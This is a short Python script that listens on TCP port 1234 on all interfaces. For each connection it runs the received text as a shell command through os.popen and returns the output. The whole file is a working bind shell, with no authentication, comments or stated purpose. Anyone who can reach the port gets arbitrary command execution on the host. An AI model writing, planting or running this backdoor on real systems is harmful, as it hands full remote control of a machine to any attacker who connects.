#!/usr/bin/env python3
import socket,os

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    s.bind(('', 1234))
    s.listen()
    conn,addr = s.accept()
    while 1:
        data = conn.recv(1024)
        reponse=os.popen(data.decode()).read()
        conn.sendall(str(reponse).encode())
except KeyboardInterrupt:
    s.close()
finally:
    print("bye")